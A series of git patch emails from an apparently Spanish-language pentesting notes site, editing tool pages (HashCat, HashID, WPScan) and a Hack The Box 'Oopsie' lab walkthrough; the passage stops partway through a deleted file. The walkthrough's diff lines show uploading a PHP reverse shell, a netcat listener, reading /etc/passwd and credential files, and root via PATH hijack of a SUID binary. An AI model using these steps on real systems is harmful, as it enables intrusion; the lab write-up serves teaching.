2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:04:35 +0200 Subject: [PATCH 0070/1701] Update HashCat.md --- HashCat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HashCat.md b/HashCat.md index 1c61de18f60..291c80a93bd 100644 --- a/HashCat.md +++ b/HashCat.md @@ -51,7 +51,7 @@ Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos ![Captura de pantalla -2022-04-26 23-59-52](https://user-images.githubusercontent.com/103068924/165399824-debe9e55-256e-49a0-ba46-958a9efd2db4.png) - -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando ´hashcat --help´. + -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando 'hashcat --help'. ![Captura de pantalla -2022-04-27 00-01-06](https://user-images.githubusercontent.com/103068924/165399873-50a11294-9cd6-4833-8642-16d5193ec93c.png) From e4b31071d78eff0c7b7c88aef9ee60839f7a2dbb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:06:27 +0200 Subject: [PATCH 0071/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 08bfe5e66ba..434f1a8c14b 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -278,7 +278,7 @@ Para instalar: Para ejecutarlo: - hash-identifier + hash-identifier ![Captura de pantalla -2022-04-26 20-01-03](https://user-images.githubusercontent.com/103068924/165363442-be95e169-8cfe-49a1-813c-1176cac2a472.png) From 7d704d2d92a8989584da209de3106f1207c1fc7a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:09:08 +0200 Subject: [PATCH 0072/1701] Update HashCat.md --- HashCat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HashCat.md b/HashCat.md index 291c80a93bd..0c6e43c3843 100644 --- a/HashCat.md +++ b/HashCat.md @@ -51,7 +51,7 @@ Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos ![Captura de pantalla -2022-04-26 23-59-52](https://user-images.githubusercontent.com/103068924/165399824-debe9e55-256e-49a0-ba46-958a9efd2db4.png) - -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando 'hashcat --help'. + -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. ![Captura de pantalla -2022-04-27 00-01-06](https://user-images.githubusercontent.com/103068924/165399873-50a11294-9cd6-4833-8642-16d5193ec93c.png) From fb9e8d3a0f6b7ab6f5ada64d8400c19d35675be9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:16:04 +0200 Subject: [PATCH 0073/1701] Update Hash-Identifier.md --- Hash-Identifier.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Hash-Identifier.md b/Hash-Identifier.md index 315a0a51c98..2cfab4db9fa 100644 --- a/Hash-Identifier.md +++ b/Hash-Identifier.md @@ -1,2 +1,4 @@ +![Captura de pantalla -2022-04-27 00-14-19](https://user-images.githubusercontent.com/103068924/165401592-90693a2f-c638-44dc-a3c5-b263720a4021.png) + # Hash Identifier From 8922e5c75d5e5236c5176880f01abd1db156fe29 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:17:19 +0200 Subject: [PATCH 0074/1701] Update HashId.md --- HashId.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HashId.md b/HashId.md index 9d735f0d7b5..48e39d7182f 100644 --- a/HashId.md +++ b/HashId.md @@ -1,4 +1,4 @@ -# Hashid: +# HashID Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. From 4d6804dc9d58da42c2bec42f5232965f908c461f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:19:37 +0200 Subject: [PATCH 0075/1701] Update HashId.md --- HashId.md | 1 + 1 file changed, 1 insertion(+) diff --git a/HashId.md b/HashId.md index 48e39d7182f..ab25c60ab3c 100644 --- a/HashId.md +++ b/HashId.md @@ -15,6 +15,7 @@ Para ejecutarla: hashid [Hash Núm] + hashid 2cb42f8734ea607eefed3b70af13bbd3 From cae99aeed2a94e26d28c87cdd5b5d553e0efe179 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:23:22 +0200 Subject: [PATCH 0076/1701] Update HashId.md --- HashId.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/HashId.md b/HashId.md index ab25c60ab3c..dbfb60fb42d 100644 --- a/HashId.md +++ b/HashId.md @@ -15,9 +15,6 @@ Para ejecutarla: hashid [Hash Núm] - - - hashid 2cb42f8734ea607eefed3b70af13bbd3 ### Ejemplo: From 84b18970749b30d51c68fefe00b58d2e7e73d9e4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:36:27 +0200 Subject: [PATCH 0077/1701] Update Hash-Identifier.md --- Hash-Identifier.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Hash-Identifier.md b/Hash-Identifier.md index 2cfab4db9fa..d0526b560de 100644 --- a/Hash-Identifier.md +++ b/Hash-Identifier.md @@ -2,3 +2,10 @@ # Hash Identifier +Hash Identifier es una herramienta basada en Python que le permite identificar rápidamente los tipos de hash utilizados para cifrar contraseñas. +Admite más de 220 tipos de hash únicos mediante expresiones regulares. + +Es capaz de identificar un solo hash, analizar un archivo o leer varios archivos en un directorio e identificar los hash dentro de ellos. +También es capaz de incluir el modo hashcat correspondiente y/o el formato [JohnTheRipper](./john_the_ripper.html) en su salida. + + From 75423eef667079ccc3962aa7d35b9ddc4fd905fb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:41:41 +0200 Subject: [PATCH 0078/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 27bbef4c95d..4c93a86826a 100644 --- a/index.md +++ b/index.md @@ -21,6 +21,8 @@ [HashID](./HashId.html) +[Hash Identifier](./Hash-Identifier.html) + [HashCat](./HashCat.html) # Artículos From 0cafbbba927a852858f7656d792fc3ea8239386a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:52:45 +0200 Subject: [PATCH 0079/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 67 +++++++++++++++++++++++++-------------------------- 1 file changed, 33 insertions(+), 34 deletions(-) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index 43d3a868ebc..9d7c904272e 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -8,7 +8,7 @@ En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema operativo que utiliza mediante el ttl. - ping [Ip Víctima] + ping [Ip Víctima] ![Captura de pantalla -2022-04-12 20-04-31](https://user-images.githubusercontent.com/103068924/163026403-f74332d1-582a-43d0-9cb5-6dc1f4b170dc.png) @@ -17,7 +17,7 @@ En primer lugar, vamos a comprobar si tenemos conexión Ahora podemos escanear los puertos mediante nmap. - nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts + nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts ![Captura de pantalla -2022-04-12 20-11-38](https://user-images.githubusercontent.com/103068924/163026657-0e7a094b-7f45-44ef-9fec-33bd43400f94.png) @@ -44,7 +44,7 @@ En primer lugar, vamos a comprobar si tenemos conexión Ahora pasaremos a realizar un escaneo más exhaustivo: - nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target + nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target ![Captura de pantalla -2022-04-12 20-18-19](https://user-images.githubusercontent.com/103068924/163027847-ca47db77-4fdc-4852-ab48-049a2185332e.png) @@ -228,7 +228,7 @@ de GitHub mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-she Para tenerlo, simplemente lo copiáis, abrís una terminal y crearemos el archivo mediante nano: - nano php-reverse-shell.php + nano php-reverse-shell.php Pegamos todo el script, guardamos (Cntrl + o) y salimos (Cntrl + x). @@ -244,7 +244,7 @@ en escucha. Abrimos una terminar y modificamos el archivo php-reverse-shell.php - sudo nano php-reverse-shell.php + sudo nano php-reverse-shell.php ![Captura de pantalla -2022-04-13 12-42-02](https://user-images.githubusercontent.com/103068924/163163832-7a4632e4-a547-4ac4-b3a2-24cb5c7075e7.png) @@ -252,7 +252,7 @@ Abrimos una terminar y modificamos el archivo php-reverse-shell.php Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': - sudo ifconfig + sudo ifconfig ![Captura de pantalla -2022-04-13 13-01-50](https://user-images.githubusercontent.com/103068924/163166666-8c4d0990-f186-4775-be03-71e20fc4cb32.png) @@ -289,7 +289,7 @@ Perfecto, ya tendríamos nuestro archivo subido. Para ponernos en escucha, abrimos una terminal y ejecutamos el siguiente comando: - nc -lnvp 8080 + nc -lnvp 8080 -l : Sirve para que Netcat abra un puerto y se mantenga ala escucha. Se aceptará una única conexión de un único cliente antes de cerrarse. @@ -313,7 +313,7 @@ así como subdominios DNS. Para instalarlo simplemente ejecutamos: - sudo apt install gobuster + sudo apt install gobuster Y también tendremos que descargar los repositorios de direcciones, en esta ocasión utilizaremos un repositorio llamado 'wordlists' y en concreto la lista de directorios 'directory-list-2.3-small.txt. @@ -329,13 +329,13 @@ Para instalarlo simplemente ejecutamos: En ese enlace encontraréis la biblioteca que vamos a utilizar, yo recomiendo instalarlo en el siguiente directorio, si el directorio no existe crearlo.: - /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt + /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt Bien, ya tenemos nuestro Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver que nos reporta: - gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php + gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida que avanza. No tenemos que esperar a que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuáles son @@ -348,13 +348,13 @@ Para instalarlo simplemente ejecutamos: En este caso hemos tenido suerte, ya que al poco de buscar ha encontrado una ruta que nos dirige al directorio Uploads. - http://[Ip Víctima]/uploads/ + http://[Ip Víctima]/uploads/ Una vez hecho esto nos dirigiremos al navegador y trataremos de introducir la siguiente ruta: - http://[Ip Víctima]/uploads/php-reverse-shell.php + http://[Ip Víctima]/uploads/php-reverse-shell.php - ![Captura de pantalla -2022-04-13 13-46-48](https://user-images.githubusercontent.com/103068924/163173691-3a6ffdf3-68f3-4118-af32-35aaba15b3a4.png) +![Captura de pantalla -2022-04-13 13-46-48](https://user-images.githubusercontent.com/103068924/163173691-3a6ffdf3-68f3-4118-af32-35aaba15b3a4.png) Una vez realizado esto, volvemos a la terminal donde se encontraba el 'netcat' y debería de haberse abierto nuestra shell. @@ -380,15 +380,14 @@ Para instalarlo simplemente ejecutamos: Mediante el comando 'cat' podemos ver en la terminal el contenido del archivo: - cat user.txt + cat user.txt ![Captura de pantalla -2022-04-13 15-02-39](https://user-images.githubusercontent.com/103068924/163187942-4cde5ee7-b0eb-418c-b192-e719391765f7.png) Ahora, para poder trabajar de manera más cómoda y tratar de escalarar privilegios, primero, abriremos una shell más funcional. Para ello volvemos al directorio principal mediante cd y ejecutamos el siguiente comando: - - python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' ![Captura de pantalla -2022-04-21 08-17-19](https://user-images.githubusercontent.com/103068924/164386987-26be3445-32af-43fe-86e4-cb706405152c.png) @@ -415,7 +414,7 @@ Con grep utilizaremos el patrón 'passw' para tratar de roportar todas los resul passwd o password por ejemplo). También usaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas como por ejemplo las contraseñas en este caso. - cat * | grep -i passw* + cat * | grep -i passw* ![Captura de pantalla -2022-04-21 08-43-19](https://user-images.githubusercontent.com/103068924/164390666-8ff742dc-30ed-4147-b5f6-9bf5fd216792.png) @@ -425,14 +424,14 @@ como por ejemplo las contraseñas en este caso. Para poder verificar los usuarios disponibles en el sistema, podemos leer el archivo /etc/passwd y tratar de reutilizar la contrasña encontrada en alguna cuenta con altros privilegios. - cat /etc/passwd + cat /etc/passwd ![Captura de pantalla -2022-04-21 08-51-23](https://user-images.githubusercontent.com/103068924/164391835-0f93382c-112b-4f0d-ba0b-c2efab165c22.png) Podemos ver como tenemos un usuario llamado 'robert'. Vamos a tratar de entrar como este usuario mediante el comando 'su' y con la contraseña previamente encontrada. - su robert + su robert ![Captura de pantalla -2022-04-21 08-56-29](https://user-images.githubusercontent.com/103068924/164392632-a0950c9a-d518-4ba7-a9a0-433173395c23.png) @@ -442,14 +441,14 @@ revisando los archivos ".php" y ".js" de manera manual en busca de algo más. Tras revisar los cuatro archivos, vemos que en el archivo 'db.php' encontramos la siguiente información: - cat db.php + cat db.php ![Captura de pantalla -2022-04-21 09-02-58](https://user-images.githubusercontent.com/103068924/164393733-c692a948-0f9d-45ce-ac05-e7afab97ff00.png) Como podéis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la contraseña del usuario 'robert' es "M3g4C0rpUs3r!" - su robert + su robert ![Captura de pantalla -2022-04-21 09-08-58](https://user-images.githubusercontent.com/103068924/164394920-e350b001-4047-4f76-9c31-6097ef72ea92.png) @@ -460,9 +459,9 @@ Finalmente, estamos como el usuario 'robert', podemos comprobarlo utilizando el Ahora podemos ir al directorio principal /home/robert y veremos como ahí está nuestro archivo user.txt con nuestra primera flag que ya habíamos visto anteriormente sin necesidad de ningún privilegio. - cd /home/robert + cd /home/robert - cat user.txt + cat user.txt ![Captura de pantalla -2022-04-21 09-12-12](https://user-images.githubusercontent.com/103068924/164396519-93ccff49-d292-4047-9e64-2988711d5187.png) @@ -472,7 +471,7 @@ Pero nosotros lo que buscamos es la flag del super usuario y para ello debemos d En primer lugar, trataremos de iniciar sesión como super usuario mediante 'sudo': - sudo su robert + sudo su robert ![Captura de pantalla -2022-04-21 09-27-12](https://user-images.githubusercontent.com/103068924/164400159-7bc36117-61a0-4dc8-87c4-9e93ab5bb34c.png) @@ -485,13 +484,13 @@ utilizaremos el comando 'id': Vemos como el usuario robert es parte del grupo 'bugtracker'. Ahora, intentemos ver si hay algún binario dentro de ese grupo: - find / -group bugtracker 2>/dev/null + find / -group bugtracker 2>/dev/null ![Captura de pantalla -2022-04-21 09-42-23](https://user-images.githubusercontent.com/103068924/164404634-e6d61c58-7fff-4e55-a6f7-b9a0a06aed99.png) Nos ha reportado un archivo llamado 'bugtracker'. Ahora comprobamos qué privilegio y qué tipo de archivo es: - ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker + ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker ![Captura de pantalla -2022-04-21 09-47-02](https://user-images.githubusercontent.com/103068924/164405567-6055d680-b99b-4635-a3ad-a2c54ad77b82.png) @@ -506,7 +505,7 @@ que tiene configurado SUID. Para ello ejecutamos 'bugtacker': - /usr/bin/bugtracker + /usr/bin/bugtracker ![Captura de pantalla -2022-04-21 09-57-05](https://user-images.githubusercontent.com/103068924/164786353-6e21c5ef-1b8e-465b-808e-371ac1f3b293.png) @@ -518,20 +517,20 @@ La herramienta acepta la entrada del usuario como nombre del archivo que se leer Para ello nos dirigiremos al directorio '/tmp': - cd /tmp + cd /tmp ![Captura de pantalla -2022-04-21 10-49-05](https://user-images.githubusercontent.com/103068924/164787581-b841e8fc-9f0c-4d90-bc2c-22f9c44b40d3.png) Y crearemos un archivo 'cat' que contenga la siguiente ruta '/bin/sh': - echo '/bin/sh' > cat + echo '/bin/sh' > cat ![Captura de pantalla -2022-04-21 10-49-22](https://user-images.githubusercontent.com/103068924/164787634-3a48e291-f6e5-4415-8bbb-54f197c02657.png) Ahora le tenemos que dar privilegios de ejecución: - chmod +x cat + chmod +x cat ![Captura de pantalla -2022-04-21 10-49-52](https://user-images.githubusercontent.com/103068924/165099961-3373a75c-d7b5-4f97-b733-9df7805772fd.png) @@ -543,13 +542,13 @@ PATH es una variable de entorno en sistemas operativos similares a Unix, DOS, OS Por tanto, debemos introducir el directorio 'tmp' en el archivo PATH para poder ejecutarlo correctamente. Para ello utilizamos el siguiente comando: - export PATH=/tmp:$PATH + export PATH=/tmp:$PATH ![Captura de pantalla -2022-04-21 10-48-24](https://user-images.githubusercontent.com/103068924/165100226-c25d5a72-39a6-4083-9aa4-1d58c4a85179.png) Para confirmar que todo ha salido correctamente y verificar que el directorio 'tmp' está en PATH: - echo $PATH + echo $PATH ![Captura de pantalla -2022-04-25 15-40-24](https://user-images.githubusercontent.com/103068924/165100883-46db8497-56b3-4782-9343-7d6947b4a26d.png) @@ -562,11 +561,11 @@ Genial, ya estamos registrados como 'root'. Finalmente, nos dirigimos al directo Para poder leer el archvio nos registramos como super usuarios: - sudo su + sudo su Y abrimos el archivo con 'cat' donde encontramos la última Flag: - cat root.txt + cat root.txt ![background2](https://user-images.githubusercontent.com/103068924/165103059-55b4a1b6-f646-46aa-8b5a-47a804187541.png) From 66bfc157733bf81dc3486d7fe9ded050e54af238 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 00:55:33 +0200 Subject: [PATCH 0080/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index 9d7c904272e..d36388f355f 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -101,7 +101,7 @@ En primer lugar, vamos a comprobar si tenemos conexión más comunes y no he tenido suerte) vamos a acceder como invitados. Para ello le daremos a la opción Login as Gues y tendremos acceso como invitados. - ![Captura de pantalla -2022-04-12 20-43-14](https://user-images.githubusercontent.com/103068924/163031583-c15f6fe6-be42-4aa0-89e0-44a906660539.png) +![Captura de pantalla -2022-04-12 20-43-14](https://user-images.githubusercontent.com/103068924/163031583-c15f6fe6-be42-4aa0-89e0-44a906660539.png) Podemos ver que tenemos diferentes pestañas, vamos a revisarlas una por una para ver la información que nos aportan: @@ -155,7 +155,7 @@ actual son iguales a 2. También me llama la atención como en la url de la pestaña nos especifica la id=2 - ![Captura de pantalla -2022-04-12 21-54-39](https://user-images.githubusercontent.com/103068924/163042869-a1df4c54-f66a-4f39-b2dd-4bfc1e4bde75.png) +![Captura de pantalla -2022-04-12 21-54-39](https://user-images.githubusercontent.com/103068924/163042869-a1df4c54-f66a-4f39-b2dd-4bfc1e4bde75.png) Y otra cosa importante, son las cookies de inicio de sesión que hemos encontrado. @@ -176,7 +176,7 @@ pestaña Upload, así que seguimos probando. Vemos como tras muchos intentos vacíos, nos muestra algunos usuarios. - ![Captura de pantalla -2022-04-12 22-03-43](https://user-images.githubusercontent.com/103068924/163044454-f20e27ad-192f-455b-898a-bda8336c4bc3.png) +![Captura de pantalla -2022-04-12 22-03-43](https://user-images.githubusercontent.com/103068924/163044454-f20e27ad-192f-455b-898a-bda8336c4bc3.png) Finalmente, tras 30 intentos, lo conseguimos. El id=30 pertenece al usuario 'super admin'. @@ -273,6 +273,7 @@ Para ello simplemente vamos a la página, pulsamos examinar: ![Captura de pantalla -2022-04-13 13-05-24](https://user-images.githubusercontent.com/103068924/163167470-2f5b1a66-854f-411a-9dae-f41c159e3d27.png) Seleccionamos nuestra reverse-shell: + ![Captura de pantalla -2022-04-13 13-05-48](https://user-images.githubusercontent.com/103068924/163167513-4311b8e0-b094-4859-b917-2f6758945497.png) Y finalmente pulsamos Upload: @@ -341,7 +342,7 @@ Para instalarlo simplemente ejecutamos: que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuáles son funcionales. - ![Captura de pantalla -2022-04-13 13-56-08](https://user-images.githubusercontent.com/103068924/163174943-ef87aba2-a3da-4ede-aeae-447ea841f8ad.png) +![Captura de pantalla -2022-04-13 13-56-08](https://user-images.githubusercontent.com/103068924/163174943-ef87aba2-a3da-4ede-aeae-447ea841f8ad.png) Para el proceso: Cntrl + c From ec4aa928d93fac6f478a14273fb23c4bd92c0634 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 02:02:55 +0200 Subject: [PATCH 0081/1701] Create WPScan.md --- WPScan.md | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 WPScan.md diff --git a/WPScan.md b/WPScan.md new file mode 100644 index 00000000000..72ac309838e --- /dev/null +++ b/WPScan.md @@ -0,0 +1,36 @@ +![wpscan_logo](https://user-images.githubusercontent.com/103068924/165411959-987b6776-f708-46ff-90ed-772370981220.png) + +# WPScan + +WPScan es un escaner de vulnerabilidades enfocado en página WordPress. Escanea y encuentra fallas y vulnerabilidades en el código, los módulos y temas +utilizados. + +## Instalación: + +Para instalar en sistemas Debian: + + sudo apt-get install wpscan + +## Actualizar base de datos: + +Debido a las multiples actualizaciones, tanto por parte de wordpress como por WPScan, debemos tener actualizada nuesta base de datos para estar +preparado frente a las nuevos ataques y vulnerabilidades. + + wpscan --update + +## Ver Información de la Herramienta: + +Aquí podemos ver todas las opciones y funciones que nos ofrece WPScan. + + wpscan -h + +## Escaneo Básico: + +Ejemplo 1: + + wpscan --url http://wordpress.local + +Ejemplo 2: + + wpscan --url http://10.10.11.143 + From 5216c0a9e437232cc084302001d722bf35c05f15 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 02:04:56 +0200 Subject: [PATCH 0082/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 4c93a86826a..6eb55903e89 100644 --- a/index.md +++ b/index.md @@ -25,6 +25,8 @@ [HashCat](./HashCat.html) +[WPScan](./WPScan.html) + # Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From f4d8c9b653c5a69bda28a0c403eade9017a42388 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 02:10:00 +0200 Subject: [PATCH 0083/1701] Update WPScan.md --- WPScan.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/WPScan.md b/WPScan.md index 72ac309838e..feca52ef7cf 100644 --- a/WPScan.md +++ b/WPScan.md @@ -1,4 +1,5 @@ -![wpscan_logo](https://user-images.githubusercontent.com/103068924/165411959-987b6776-f708-46ff-90ed-772370981220.png) +![wpscan_logo1](https://user-images.githubusercontent.com/103068924/165412933-412b8027-f44d-47b2-a742-5b7c2a58d1ea.png) + # WPScan From 18dc93f08b87c004183e56f801e87da96102a7b4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 02:17:48 +0200 Subject: [PATCH 0084/1701] Update WPScan.md --- WPScan.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/WPScan.md b/WPScan.md index feca52ef7cf..ef4252dbc3e 100644 --- a/WPScan.md +++ b/WPScan.md @@ -35,3 +35,20 @@ Ejemplo 2: wpscan --url http://10.10.11.143 +## Escaneo mediante verbose: + +Ejemplo 1: + + wpscan --url http://wordpress.local --verbose + +Ejemplo 2: + + wpscan --url http://10.10.11.143 -v + +## Escaneo de directorios y usuarios: + + wpscan --url http://example.local --wp-content-dir wp-admin + + + + From 3110dafea676efbda010da0ac2d639eeb601ea9e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 10:35:33 +0200 Subject: [PATCH 0085/1701] Delete CONTRIBUTING.md --- docs/CONTRIBUTING.md | 88 -------------------------------------------- 1 file changed, 88 deletions(-) delete mode 100644 docs/CONTRIBUTING.md diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md deleted file mode 100644 index 37bc385828b..00000000000 --- a/docs/CONTRIBUTING.md +++ /dev/null @@ -1,88 +0,0 @@ -# Contributing to the Hacker theme - -Hi there! We're thrilled that you'd like to contribute to the Hacker theme. Your help is essential for keeping it great. - -the Hacker theme is an open source project supported by the efforts of an entire community and built one contribution at a time by users like you. We'd love for you to get involved. Whatever your level of skill or however much time you can give, your contribution is greatly appreciated. There are many ways to contribute, from writing tutorials or blog posts, improving the documentation, submitting bug reports and feature requests, helping other users by commenting on issues, or writing code which can be incorporated into the Hacker theme itself. - -Following these guidelines helps to communicate that you respect the time of the developers managing and developing this open source project. In return, they should reciprocate that respect in addressing your issue, assessing changes, and helping you finalize your pull requests. - - -## Looking for support? - -We'd love to help. Check out [the support guidelines](SUPPORT.md). - -## How to report a bug - -Think you found a bug? Please check [the list of open issues](https://github.com/pages-themes/hacker/issues) to see if your bug has already been reported. If it hasn't please [submit a new issue](https://github.com/pages-themes/hacker/issues/new). - -Here are a few tips for writing *great* bug reports: - -* Describe the specific problem (e.g., "widget doesn't turn clockwise" versus "getting an error") -* Include the steps to reproduce the bug, what you expected to happen, and what happened instead -* Check that you are using the latest version of the project and its dependencies -* Include what version of the project your using, as well as any relevant dependencies -* Only include one bug per issue. If you have discovered two bugs, please file two issues -* Even if you don't know how to fix the bug, including a failing test may help others track it down - -**If you find a security vulnerability, do not open an issue. Please email security@github.com instead.** - -## How to suggest a feature or enhancement - -If you find yourself wishing for a feature that doesn't exist in the Hacker theme, you are probably not alone. There are bound to be others out there with similar needs. Many of the features that the Hacker theme has today have been added because our users saw the need. - -Feature requests are welcome. But take a moment to find out whether your idea fits with the scope and goals of the project. It's up to you to make a strong case to convince the project's developers of the merits of this feature. Please provide as much detail and context as possible, including describing the problem you're trying to solve. - -[Open an issue](https://github.com/pages-themes/hacker/issues/new) which describes the feature you would like to see, why you want it, how it should work, etc. - - - -## Your first contribution - -We'd love for you to contribute to the project. Unsure where to begin contributing to the Hacker theme? You can start by looking through these "good first issue" and "help wanted" issues: - -* [Good first issues](https://github.com/pages-themes/hacker/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) - issues which should only require a few lines of code and a test or two -* [Help wanted issues](https://github.com/pages-themes/hacker/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) - issues which may be a bit more involved, but are specifically seeking community contributions - -*p.s. Feel free to ask for help; everyone is a beginner at first* :smiley_cat: - -## How to propose changes - -Here's a few general guidelines for proposing changes: - -* If you are making visual changes, include a screenshot of what the affected element looks like, both before and after. -* Follow the [Jekyll style guide](https://ben.balter.com/jekyll-style-guide). -* If you are changing any user-facing functionality, please be sure to update the documentation -* Each pull request should implement **one** feature or bug fix. If you want to add or fix more than one thing, submit more than one pull request -* Do not commit changes to files that are irrelevant to your feature or bug fix -* Don't bump the version number in your pull request (it will be bumped prior to release) -* Write [a good commit message](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) - -At a high level, [the process for proposing changes](https://guides.github.com/introduction/flow/) is: - -1. [Fork](https://github.com/pages-themes/hacker/fork) and clone the project -2. Configure and install the dependencies: `script/bootstrap` -3. Make sure the tests pass on your machine: `script/cibuild` -4. Create a new branch: `git checkout -b my-branch-name` -5. Make your change, add tests, and make sure the tests still pass -6. Push to your fork and [submit a pull request](https://github.com/pages-themes/hacker/compare) -7. Pat your self on the back and wait for your pull request to be reviewed and merged - -**Interesting in submitting your first Pull Request?** It's easy! You can learn how from this *free* series [How to Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github) - -## Bootstrapping your local development environment - -`script/bootstrap` - -## Running tests - -`script/cibuild` - -## Code of conduct - -This project is governed by [the Contributor Covenant Code of Conduct](CODE_OF_CONDUCT.md). By participating, you are expected to uphold this code. - -## Additional Resources - -* [Contributing to Open Source on GitHub](https://guides.github.com/activities/contributing-to-open-source/) -* [Using Pull Requests](https://help.github.com/articles/using-pull-requests/) -* [GitHub Help](https://help.github.com) From 9a61d0fe11e0dd3382632f8786503201181c7ee3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 10:36:01 +0200 Subject: [PATCH 0086/1701] Delete CODE_OF_CONDUCT.md --- docs/CODE_OF_CONDUCT.md | 46 ----------------------------------------- 1 file changed, 46 deletions(-) delete mode 100644 docs/CODE_OF_CONDUCT.md diff --git a/docs/CODE_OF_CONDUCT.md b/docs/CODE_OF_CONDUCT.md deleted file mode 100644 index ab1a9a1d8a2..00000000000 --- a/docs/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting 